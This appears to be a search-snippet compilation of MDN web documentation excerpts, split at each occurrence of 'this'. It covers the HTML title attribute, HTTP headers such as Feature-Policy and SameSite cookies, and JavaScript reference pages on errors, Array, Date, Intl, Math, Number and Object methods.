...some caution must be taken, as
this means the following renders across two lines: html <p>newlines in <code>title</code> should be taken into account, like <abbr title="
this is a multiline title">example</abbr>.</p> result title attribute inheritance if an element has no title attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on.
... if
this attribute is set to the empty string, it means its ancestors' titles are irrelevant and shouldn't be used in the tooltip for
this element.
...�cooltip”.</p> <p title="">hovering here will show nothing.</p> </div> result accessibility concerns use of the title attribute is highly problematic for: people using touch-only devices people navigating with keyboards people navigating with assistive technology such as screen readers or magnifiers people experiencing fine motor control impairment people with cognitive concerns
this is due to inconsistent browser support, compounded by the additional assistive technology parsing of the browser-rendered page.
x-ms-acceleratorkey - HTML: Hypertext Markup Language
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
...
this attribute does not provide the accelerator key behavior.
...
this approach is more complicated, but does not override existing keyboard shortcuts provided by the user’s browser or operating system.
Accept-Charset - HTTP
browsers usually don't send
this header, as the default value for each resource is usually correct and transmitting it would allow fingerprinting.
... if the server cannot serve any character encoding from
this request header, it can theoretically send back a 406 not acceptable error code.
... but for a better user experience,
this is rarely done and the accept-charset header is ignored.
...
this is no longer recommended, and now each content-type may have its own default.
Accept-Encoding - HTTP
two common cases lead to
this: the data to be sent is already compressed and a second compression won't lead to smaller data to be transmitted.
...
this may be the case with some image formats; the server is overloaded and cannot afford the computational overhead induced by the compression requirement.
...
this value is always considered as acceptable, even if not present.
...
this is the default value if the header is not present.
Access-Control-Allow-Credentials - HTTP
when used as part of a response to a preflight request,
this indicates whether or not the actual request can be made using credentials.
... note that simple get requests are not preflighted, and so if a request is made for a resource with credentials, if
this header is not returned with the resource, the response is ignored by the browser and not returned to web content.
... header type response header forbidden header name no syntax access-control-allow-credentials: true directives true the only valid value for
this header is true (case-sensitive).
... if you don't need credentials, omit
this header entirely (rather than setting its value to false).
Feature-Policy: autoplay - HTTP
when
this policy is enabled and there were no user gestures, the promise returned by htmlmediaelement.play() will reject with a domexception.
... syntax feature-policy: autoplay <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: camera - HTTP
when
this policy is enabled, the promise returned by mediadevices.getusermedia() will reject with a notallowederror.
... syntax feature-policy: camera <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: document-domain - HTTP
when
this policy is enabled, attempting to set document.domain will fail and cause a securityerror domexception to be be thrown.
... syntax feature-policy: document-domain <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: encrypted-media - HTTP
when
this policy is enabled, the promise returned by navigator.requestmediakeysystemaccess() will reject with a domexception.
... syntax feature-policy: encrypted-media <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: microphone - HTTP
when
this policy is enabled, the promise returned by mediadevices.getusermedia() will reject with a notallowederror.
... syntax feature-policy: microphone <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: midi - HTTP
when
this policy is enabled, the promise returned by navigator.requestmidiaccess() will reject with a domexception.
... syntax feature-policy: midi <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: payment - HTTP
when
this policy is disabled, the paymentrequest() constructor will throw a syntaxerror.
... syntax feature-policy: payment <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: publickey-credentials-get - HTTP
when
this policy is enabled, any attempt to query public key credentials will result in an error.
... syntax feature-policy: publickey-credentials-get <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: unsized-media - HTTP
this restriction solves "layout instability" problem caused by providing default dimensions for images whose size is not specified in advance so that image doesn't change size after loading.
... syntax feature-policy: unsized-media <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: wake-lock - HTTP
note:
this api is still actively being developed and available only behind a flag on select browsers and platforms.
... syntax feature-policy: wake-lock <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: xr-spatial-tracking - HTTP
this policy controls whether navigator.xr.requestsession() can return xrsession that requires spatial tracking and whether user agent can indicate support for sessions supporting spatial tracking via navigator.xr.issessionsupported() and devicechange event on navigator.xr object.
... syntax feature-policy: xr-spatial-tracking <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Forwarded - HTTP
the alternative and de-facto standard versions of
this header are the x-forwarded-for, x-forwarded-host and x-forwarded-proto headers.
...
this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the ip address of the client.
... therefore the user's privacy must be kept in mind when deploying
this header.
...
this can be either: an ip address (v4 or v6, optionally with a port, and ipv6 quoted and enclosed in square brackets), an obfuscated identifier (such as "_hidden" or "_secret"), or "unknown" when the preceding entity is not known (and you still want to indicate that forwarding of the request was made).
SameSite cookies - HTTP
this is the default value in modern browsers.
... set-cookie: flavor=choco; samesite=none to fix
this, you will have to add the secure attribute to your samesite=none cookies.
... cookie “mycookie” has “samesite” policy set to “lax” because it is missing a “samesite” attribute, and “samesite=lax” is the default value for
this attribute.
...
this will also improve the experience across browsers as not all of them default to lax yet.
X-Content-Type-Options - HTTP
this is a way to opt out of mime type sniffing, or, in other words, to say that the mime types are deliberately configured.
...
this header was introduced by microsoft in ie 8 as a way for webmasters to block content sniffing that was happening and could transform non-executable mime types into executable mime types.
...
this can cause html web pages to be downloaded instead of being rendered when they are served with a mime type other than text/html.
... site security testers usually expect
this header to be set.
X-Forwarded-Host - HTTP
this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the ip address of the client.
... therefore the user's privacy must be kept in mind when deploying
this header.
... a standardized version of
this header is the http forwarded header.
...the standardized version of
this header is forwarded.
OPTIONS - HTTP
a client can specify a url with
this method, or an asterisk (*) to refer to the entire server.
...in
this example, we will request permission for these parameters: the access-control-request-method header sent in the preflight request tells the server that when the actual request is sent, it will have a post request method.
...in
this example, the server response says that: access-control-allow-origin the https://foo.example origin is permitted to request the bar.example/resources/post-here/ url via the following: access-control-allow-methods post, get, and options are permitted methods for the url.
... (
this header is similar to the allow response header, but used only for cors.) access-control-allow-headers any script inspecting the response is permitted to read the values of the x-pingother and content-type headers.
Proxy servers and tunneling - HTTP
this page outlines some basics about proxies and introduces a few configuration options.
...
this can be useful if a proxy is used to provide client anonymity, but in other cases information from the original request is lost.
...a common way to disclose
this information is by using the following http headers: the standardized header: forwarded contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.
...
this is how a client behind an http proxy can access websites using ssl (i.e.
Enumerability and ownership of properties - JavaScript
enumerable nonenumerable enumerable and nonenumerable for..in (excluding symbols) not available without extra code not available without extra code not available without extra code obtaining properties by enumerability/ownership note that
this is not the most efficient algorithm for all cases, but useful for a quick demonstration.
... detection can occur by simplepropertyretriever.thegetmethodyouwant(obj).indexof(prop) > -1 iteration can occur by simplepropertyretriever.thegetmethodyouwant(obj).foreach(function (value, prop) {}); (or use filter(), map(), etc.) var simplepropertyretriever = { getownenumerables: function(obj) { return
this._getpropertynames(obj, true, false,
this._enumerable); // or could use for..in filtered with hasownproperty or just
this: return object.keys(obj); }, getownnonenumerables: function(obj) { return
this._getpropertynames(obj, true, false,
this._notenumerable); }, getownenumerablesandnonenumerables: function(obj) { return
this._getpropertynames(obj, true, false,
this._enumerableandnotenumerable); // or just use: return object.g...
...etownpropertynames(obj); }, getprototypeenumerables: function(obj) { return
this._getpropertynames(obj, false, true,
this._enumerable); }, getprototypenonenumerables: function(obj) { return
this._getpropertynames(obj, false, true,
this._notenumerable); }, getprototypeenumerablesandnonenumerables: function(obj) { return
this._getpropertynames(obj, false, true,
this._enumerableandnotenumerable); }, getownandprototypeenumerables: function(obj) { return
this._getpropertynames(obj, true, true,
this._enumerable); // or could use unfiltered for..in }, getownandprototypenonenumerables: function(obj) { return
this._getpropertynames(obj, true, true,
this._notenumerable); }, getownandprototypeenumerablesandnon...
...enumerables: function(obj) { return
this._getpropertynames(obj, true, true,
this._enumerableandnotenumerable); }, // private static property checker callbacks _enumerable: function(obj, prop) { return obj.propertyisenumerable(prop); }, _notenumerable: function(obj, prop) { return !obj.propertyisenumerable(prop); }, _enumerableandnotenumerable: function(obj, prop) { return true; }, // inspired by http://stackoverflow.com/a/8024294/271577 _getpropertynames: function getallpropertynames(obj, iterateselfbool, iterateprototypebool, includepropcb) { var props = []; do { if (iterateselfbool) { object.getownpropertynames(obj).foreach(function(prop) { if (props.indexo...
Meta programming - JavaScript
(
this is analogous to the concept of traps in operating systems.) target object which the proxy virtualizes.
...
this means that the proxy can be revoked via the function revoke and switches the proxy off.
... with reflect.has() for example, you get the in operator as a function: reflect.has(object, 'assign') // true a better apply function in es5, you typically use the function.prototype.apply() method to call a function with a given
this value and arguments provided as an array (or an array-like object).
... function.prototype.apply.call(math.floor, undefined, [1.75]) with reflect.apply
this becomes less verbose and easier to understand: reflect.apply(math.floor, undefined, [1.75]) // 1 reflect.apply(string.fromcharcode, undefined, [104, 101, 108, 108, 111]) // "hello" reflect.apply(regexp.prototype.exec, /ab/, ['confabulation']).index // 4 reflect.apply(''.charat, 'ponies', [3]) // "i" checking if property definition has been successful with object.defineproperty, which returns an object if successful, or throws a typeerror otherwise, you would use a try...catch block to catch any error that occurred while defining a property.
About the JavaScript reference - JavaScript
for the most part,
this reference attempts to be environment-agnostic and does not target a web browser environment.
... structure of the reference in the javascript reference you can find the following chapters: standard built-in objects
this chapter documents all the javascript standard built-in objects, along with their methods and properties.
...
this isn't a keyword, but a group of keywords.
... expressions and operators
this chapter documents all the javascript language operators, expressions and keywords.
SyntaxError: missing ; before statement - JavaScript
some of them are affected by automatic semicolon insertion (asi), but in
this case you need to provide a semicolon, so that javascript can parse the source code correctly.
... however, oftentimes,
this error is only a consequence of another error, like not escaping strings properly, or using var wrongly.
...carefully check the syntax when
this error is thrown.
... examples unescaped strings
this error can occur easily when not escaping strings properly and the javascript engine is expecting the end of your string already.
TypeError: "x" is not a constructor - JavaScript
message typeerror: object doesn't support
this action (edge) typeerror: "x" is not a constructor typeerror: math is not a constructor typeerror: json is not a constructor typeerror: symbol is not a constructor typeerror: reflect is not a constructor typeerror: intl is not a constructor typeerror: atomics is not a constructor error type typeerror what went wrong?
...you want
this type of object to be called car, and you want it to have properties for make, model, and year.
... to do
this, you would write the following function: function car(make, model, year) {
this.make = make;
this.model = model;
this.year = year; } now you can create an object called mycar as follows: var mycar = new car('eagle', 'talon tsi', 1993); in promises when returning an immediately-resolved or immediately-rejected promise, you do not need to create a new promise(...) and act on it.
...
this is not legal (the promise constructor is not being called correctly) and will throw a typeerror:
this is not a constructor exception: return new promise.resolve(true); instead, use the promise.resolve() or promise.reject() static methods: //
this is legal, but unnecessarily long: return new promise((resolve, reject) => { resolve(true); }) // instead, return the static method: return promise.resolve(true); return promise.reject(false); ...
SyntaxError: function statement requires a name - JavaScript
you'll need to check how functions are defined and if you need to provide a name for it, or if the function in question needs to be a function expression, an iife, or if the function code is placed correctly in
this context at all.
... examples statements vs expressions a function statement (or function declaration) requires a name,
this won't work: function () { return 'hello world'; } // syntaxerror: function statement requires a name you can use a function expression (assignment) instead: var greet = function() { return 'hello world'; }; or, you function is maybe intended to be an iife (immediately invoked function expression), which is a function that runs as soon as it is defined.
... you will need a few more braces in
this case: (function () { })(); labeled functions if you are using function labels, you will still need to provide a function name after the function keyword.
...
this doesn't work: function greeter() { german: function () { return "moin"; } } // syntaxerror: function statement requires a name
this would work, for example: function greeter() { german: function g() { return "moin"; } } object methods if you intended to create a method of an object, you will need to create an object.
SyntaxError: unterminated string literal - JavaScript
to fix
this error, check if: you have opening and closing quotes (single or double) for your string literal, you have escaped your string literal correctly, your string literal isn't split across multiple lines.
... examples multiple lines you can't split a string across multiple lines like
this in javascript: var longstring = '
this is a very long string which needs to wrap across multiple lines because otherwise my code is unreadable.'; // syntaxerror: unterminated string literal instead, use the + operator, a backslash, or template literals.
... the + operator variant looks like
this: var longstring = '
this is a very long string which needs ' + 'to wrap across multiple lines because ' + 'otherwise my code is unreadable.'; or you can use the backslash character ("\") at the end of each line to indicate that the string will continue on the next line.
...that form looks like
this: var longstring = '
this is a very long string which needs \ to wrap across multiple lines because \ otherwise my code is unreadable.'; another possibility is to use template literals, which are supported in ecmascript 2015 environments: var longstring = `
this is a very long string which needs to wrap across multiple lines because otherwise my code is unreadable.`; ...
TypeError: variable "x" redeclares argument - JavaScript
this might be a naming conflict and thus javascript warns about it.
...
this error occurs as a warning in strict mode code only.
... examples invalid cases in
this case, the variable "arg" redeclares the argument.
... 'use strict'; function f(arg) { var arg = 'foo'; } valid cases to fix
this warning, the var statement can just be omitted, because the variable exists already.
Method definitions - JavaScript
the source for
this interactive example is stored in a github repository.
... } } you are now able to shorten
this to: const obj = { foo() { // ...
...
this means that legacy generator functions won't work either, and will throw a syntaxerror.
... const obja = { method() {} } new obja.method // typeerror: obj.method is not a constructor const objb = { * g() {} } new objb.g // typeerror: obj.g is not a constructor (changed in es2016) examples simple test case const obj = { a: 'foo', b() { return
this.a } }; console.log(obj.b()) // "foo" computed property names the shorthand syntax also supports computed property names.
Array.prototype.concat() - JavaScript
this method does not change the existing arrays, but instead returns a new array.
... the source for
this interactive example is stored in a github repository.
... the concat method does not alter
this or any of the arrays provided as arguments but instead returns a shallow copy that contains copies of the same elements combined from the original arrays.
...
this includes elements of array arguments that are also arrays.
Array.prototype.fill() - JavaScript
the source for
this interactive example is stored in a github repository.
...(note all elements in the array will be
this exact value.) start optional start index, default 0.
... fill is intentionally generic: it does not require that its
this value be an array object.
... if (
this == null) { throw new typeerror('
this is null or not defined'); } var o = object(
this); // steps 3-5.
Array.prototype.length - JavaScript
the source for
this interactive example is stored in a github repository.
... property attributes of array.prototype.length writable yes enumerable no configurable no writable: if
this attribute set to false, the value of the property cannot be changed.
... configurable: if
this attribute set to false, any attempts to delete the property or change its attributes (writable, configurable, or enumerable) will fail.
... enumerable: if
this attribute set to true, the property will be iterated over during for or for..in loops.
Array.prototype.shift() - JavaScript
this method changes the length of the array.
... the source for
this interactive example is stored in a github repository.
... shift is intentionally generic;
this method can be called or applied to objects resembling arrays.
...it also displays the removed element: var myfish = ['angel', 'clown', 'mandarin', 'surgeon']; console.log('myfish before:', json.stringify(myfish)); // myfish before: ['angel', 'clown', 'mandarin', 'surgeon'] var shifted = myfish.shift(); console.log('myfish after:', myfish); // myfish after: ['clown', 'mandarin', 'surgeon'] console.log('removed
this element:', shifted); // removed
this element: angel using shift() method in while loop the shift() method is often used in condition inside while loop.
Array.prototype.splice() - JavaScript
the source for
this interactive example is stored in a github repository.
...in
this case, no element will be deleted but the method will behave as an adding function, adding as many element as item[n*] provided.
...(in
this case, the origin -1, meaning -n is the index of the nth last element, and is therefore equivalent to the index of array.length - n.) if array.length + start is less than 0, it will begin from index 0.
...in
this case, you should specify at least one new element (see below).
Array.prototype.toLocaleString() - JavaScript
toobject(
this value).
... if (
this == null) { throw new typeerror('"
this" is null or not defined'); } var a = object(
this); // 2.
...let separator be the string value for the // list-separator string appropriate for the // host environment's current locale (
this is // derived in an implementation-defined way).
... // note: in
this case, we will use a comma var separator = ','; // 4.
BigInt.prototype.toLocaleString() - JavaScript
the tolocalestring() method returns a string with a language-sensitive representation of
this bigint.
... the source for
this interactive example is stored in a github repository.
...english locale using locales
this example shows some of the variations in localized number formats.
...chinese decimal console.log(bigint.tolocalestring('zh-hans-cn-u-nu-hanidec')); // → 一二三,四五六,七八九,一二三,四五六,七八九 // when requesting a language that may not be supported, such as // balinese, include a fallback language, in
this case indonesian console.log(bigint.tolocalestring(['ban', 'id'])); // → 123.456.789.123.456.789 using options the results provided by tolocalestring can be customized using the options argument: var bigint = 123456789123456789n; // request a currency format console.log(bigint.tolocalestring('de-de', { style: 'currency', currency: 'eur' })); // → 123.456.789.123.456.789,00 € // the jap...
BigInt - JavaScript
const previousmaxsafe = bigint(number.max_safe_integer) // ↪ 9007199254740991n const maxplusone = previousmaxsafe + 1n // ↪ 9007199254740992n const thefuture = previousmaxsafe + 2n // ↪ 9007199254740993n,
this works now!
... however, since these are bigints and not bigdecimals,
this operation will round towards 0 (which is to say, it will not return any fractional digits).
... instance methods bigint.prototype.tolocalestring() returns a string with a language-sensitive representation of
this number.
...however, you can implement your own tojson method if needed: bigint.prototype.tojson = function() { return
this.tostring() } instead of throwing, json.stringify now produces a string like
this: json.stringify(bigint(1)) // '"1"' examples calculating primes // returns true if passed bigint is a prime number function isprime(p) { for (let i = 2n; i * i <= p; i++) { if (p % i === 0n) return false; } return true } // takes a bigint as an argument, returns nth prime number as bigint function nt...
Date.prototype.getTime() - JavaScript
you can use
this method to help assign a date and time to another date object.
...
this method is functionally equivalent to the valueof() method.
... the source for
this interactive example is stored in a github repository.
...
this can be used to calculate the executing time of some operations.
Date.prototype.toLocaleDateString() - JavaScript
the tolocaledatestring() method returns a string with a language sensitive representation of the date portion of
this date.
... the source for
this interactive example is stored in a github repository.
...to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocaledatestringsupportslocales() { try { new date().tolocaledatestring('i'); } catch (e) { return e.name === 'rangeerror'; } return false; } using locales
this example shows some of the variations in localized date formats.
...bic digits console.log(date.tolocaledatestring('ar-eg')); // → "٢٠/١٢/٢٠١٢" // for japanese, applications may want to use the japanese calendar, // where 2012 was the year 24 of the heisei era console.log(date.tolocaledatestring('ja-jp-u-ca-japanese')); // → "24/12/20" // when requesting a language that may not be supported, such as // balinese, include a fallback language, in
this case indonesian console.log(date.tolocaledatestring(['ban', 'id'])); // → "20/12/2012" using options the results provided by tolocaledatestring() can be customized using the options argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // request a weekday along with a long date var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; console.log(date.to...
Date.prototype.toLocaleTimeString() - JavaScript
the tolocaletimestring() method returns a string with a language sensitive representation of the time portion of
this date.
... the source for
this interactive example is stored in a github repository.
...to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocaletimestringsupportslocales() { try { new date().tolocaletimestring('i'); } catch (e) { return e.name === 'rangeerror'; } return false; } using locales
this example shows some of the variations in localized time formats.
...string('en-gb')); // → "03:00:00" // korean uses 12-hour time with am/pm console.log(date.tolocaletimestring('ko-kr')); // → "오후 12:00:00" // arabic in most arabic speaking countries uses real arabic digits console.log(date.tolocaletimestring('ar-eg')); // → "٧:٠٠:٠٠ م" // when requesting a language that may not be supported, such as // balinese, include a fallback language, in
this case indonesian console.log(date.tolocaletimestring(['ban', 'id'])); // → "11.00.00" using options the results provided by tolocaletimestring() can be customized using the options argument: var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // an application may want to use utc and make that visible var options = { timezone: 'utc', timezonename: 'short' }; console.log(date.tolocaletimes...
Error.prototype.stack - JavaScript
(note that the error object also possesses the filename, linenumber and columnnumber properties for retrieving these from the error thrown (but only the error, and not its trace).) note that
this is the format used by firefox.
...thus, in firefox 14 and later
this is less of an issue.
... different browsers set
this value at different times.
...see also debug eval sources in the debugger docs and
this blog post.
EvalError - JavaScript
this exception is not thrown by javascript anymore, however the evalerror object remains for compatibility.
... evalerror.prototype.filename path to file that raised
this error.
... evalerror.prototype.linenumber line number in file that raised
this error.
... evalerror.prototype.columnnumber column number in line that raised
this error.
Function.caller - JavaScript
this property replaces the obsolete arguments.caller property of the arguments object.
... notes note that in case of recursion, you can't reconstruct the call stack using
this property.
... consider: function f(n) { g(n - 1); } function g(n) { if (n > 0) { f(n); } else { stop(); } } f(2); at the moment stop() is called the call stack will be: f(2) -> g(1) -> f(1) -> g(0) -> stop() the following is true: stop.caller === g && f.caller === g && g.caller === f so if you tried to get the stack trace in the stop() function like
this: var f = stop; var stack = 'stack trace:'; while (f) { stack += '\n' + f.name; f = f.caller; } the loop would never stop.
... function myfunc() { if (myfunc.caller == null) { return 'the function was called from the top!'; } else { return '
this function\'s caller was ' + myfunc.caller; } } specifications not part of any standard.
Intl.DisplayNames.prototype.resolvedOptions() - JavaScript
if any unicode extension values were requested in the input bcp 47 language tag that led to
this locale, the key-value pairs that were requested and are supported for
this locale are included in locale.
... style the value provided for
this property in the options argument of the constructor or the default value ("long").
... type the value provided for
this property in the options argument of the constructor or the default value ("language").
... fallback the value provided for
this property in the options argument of the constructor or the default value ("code").
Intl.NumberFormat.prototype.format() - JavaScript
the intl.numberformat.prototype.format() method formats a number according to the locale and formatting options of
this numberformat object.
... the source for
this interactive example is stored in a github repository.
... description the format getter function formats a number into a string according to the locale and formatting options of
this numberformat object.
...
this is considered a historical artefact, as part of a convention which is no longer followed for new features, but is preserved to maintain compatibility with existing programs.
Intl.NumberFormat - JavaScript
the source for
this interactive example is stored in a github repository.
... instance methods intl.numberformat.prototype.format() getter function that formats a number according to the locale and formatting options of
this numberformat object.
... var number = 3500; console.log(new intl.numberformat().format(number)); // → '3,500' if in us english locale using locales
this example shows some of the variations in localized number formats.
...chinese decimal console.log(new intl.numberformat('zh-hans-cn-u-nu-hanidec').format(number)); // → 一二三,四五六.七八九 // when requesting a language that may not be supported, such as // balinese, include a fallback language, in
this case indonesian console.log(new intl.numberformat(['ban', 'id']).format(number)); // → 123.456,789 using options the results can be customized using the options argument: var number = 123456.789; // request a currency format console.log(new intl.numberformat('de-de', { style: 'currency', currency: 'eur' }).format(number)); // → 123.456,79 € // the japanese yen doesn't use a minor unit...
Intl.PluralRules() constructor - JavaScript
for information about
this option, see the intl page.
...
this is the default value.
...
this is useful to distinguish between singular and plural forms, e.g.
...
this is useful to figure out the ordinal indicator, e.g.
Intl.RelativeTimeFormat.prototype.format() - JavaScript
the intl.relativetimeformat.prototype.format() method formats a value and unit according to the locale and formatting options of
this relativetimeformat object.
... the source for
this interactive example is stored in a github repository.
... description the function returned by the format getter formats a value and a unit into a string according to the locale and formatting options of
this intl.relativetimeformat object.
...
this allows to not always have to use numeric values in the output.
Math.clz32() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this function is particularly useful for systems that compile to js, like emscripten.
...doing
this will work because the inverse of 1 is 0 and vice-versa.
... consider the following 32-bit word: var a = 32776; // 00000000000000001000000000001000 (16 leading zeros) math.clz32(a); // 16 var b = ~32776; // 11111111111111110111111111110111 (32776 inversed, 0 leading zeros) math.clz32(b); // 0 (
this is equal to how many leading one's there are in a) using
this logic, a clon function can be created as follows: var clz = math.clz32; function clon(integer){ return clz(~integer); } further,
this technique could be extended to create jumpless "count trailing zeros" and "count trailing ones" functions as seen below.
Math.fround() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this can create confusion: checking a 64-bit float and a 32-bit float for equality may fail even though the numbers are seemingly identical.
... to solve
this, math.fround() can be used to cast the 64-bit float to a 32-bit float.
... polyfill
this can be emulated with the following function, if float32array are supported: math.fround = math.fround || (function (array) { return function(x) { return array[0] = x, array[0]; }; })(new float32array(1)); supporting older browsers is slower, but also possible: if (!math.fround) math.fround = function(arg) { arg = number(arg); // return early for ±0 and nan.
Number.MAX_SAFE_INTEGER - JavaScript
the source for
this interactive example is stored in a github repository.
... safe in
this context refers to the ability to represent integers exactly and to correctly compare them.
...
this field does not exist in old browsers.
... polyfill if (!number.max_safe_integer) { number.max_safe_integer = 9007199254740991; // math.pow(2, 53) - 1; } examples return value of max_safe_integer number.max_safe_integer; // 9007199254740991 numbers higher than safe integer
this returns 2 because in floating points, the value is actually the decimal trailing "1" except for in subnormal precision cases such as zero.
Number.isNaN() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this situation is unlike all other possible value comparisons in javascript.
...
this means it is now safe to pass values that would normally convert to nan, but aren't actually the same value as nan.
...
this also means that only values of the type number, that are also nan, return true.
Number.parseFloat() - JavaScript
the source for
this interactive example is stored in a github repository.
...if
this argument is not a string, then it is converted to one using the tostring abstract operation.
... leading whitespace in
this argument is ignored.
... polyfill if (number.parsefloat === undefined) { number.parsefloat = parsefloat; } examples number.parsefloat vs parsefloat
this method has the same functionality as the global parsefloat() function: number.parsefloat === parsefloat; // true
this method is also part of ecmascript 2015.
Object.assign() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this may make it unsuitable for merging new properties into a prototype if the merge sources contain getters.
... polyfill
this polyfill doesn't support symbol properties, since es5 doesn't have symbols anyway: if (typeof object.assign !== 'function') { // must be writable: true, enumerable: false, configurable: true object.defineproperty(object, "assign", { value: function assign(target, varargs) { // .length of function is 2 'use strict'; if (target === null || target === undefined) { throw ...
... //
this is an assign function that copies full descriptors function completeassign(target, ...sources) { sources.foreach(source => { let descriptors = object.keys(source).reduce((descriptors, key) => { descriptors[key] = object.getownpropertydescriptor(source, key); return descriptors; }, {}); // by default, object.assign copies enumerable symbols, too object.getownproperty...
Object.getOwnPropertyNames() - JavaScript
in es5, if the argument to
this method is not an object (a primitive), then it will cause a typeerror.
...// logs ["0", "1", "2"] // logging property names and values using array.foreach object.getownpropertynames(obj).foreach( function (val, idx, array) { console.log(val + ' -> ' + obj[val]); } ); // logs // 0 -> a // 1 -> b // 2 -> c // non-enumerable property var my_obj = object.create({}, { getfoo: { value: function() { return
this.foo; }, enumerable: false } }); my_obj.foo = 1; console.log(object.getownpropertynames(my_obj).sort()); // logs ["foo", "getfoo"] if you want only the enumerable properties, see object.keys() or use a for...in loop (note that
this will also return enumerable properties found along the prototype chain for the object unless the latter is filtered with hasownproperty()).
... items on the prototype chain are not listed: function parentclass() {} parentclass.prototype.inheritedmethod = function() {}; function childclass() {
this.prop = 5;
this.method = function() {}; } childclass.prototype = new parentclass; childclass.prototype.prototypemethod = function() {}; console.log( object.getownpropertynames( new childclass() // ["prop", "method"] ) ); get non-enumerable properties only
this uses the array.prototype.filter() function to remove the enumerable keys (obtained with object.keys()) from a list of all keys (obtained with object.getownpropertynames()) thus giving only the non-enumerable keys as output.
... var target = myobject; var enum_and_nonenum = object.getownpropertynames(target); var enum_only = object.keys(target); var nonenum_only = enum_and_nonenum.filter(function(key) { var indexinenum = enum_only.indexof(key); if (indexinenum == -1) { // not found in enum_only keys, // meaning that the key is non-enumerable, // so return true so we keep
this in the filter return true; } else { return false; } }); console.log(nonenum_only); specifications specification ecmascript (ecma-262)the definition of 'object.getownpropertynames' in that specification.
Object.prototype.hasOwnProperty() - JavaScript
the source for
this interactive example is stored in a github repository.
...
this method can be used to determine whether an object has the specified property as a direct property of that object; unlike the in operator,
this method does not check for a property in the object's prototype chain.
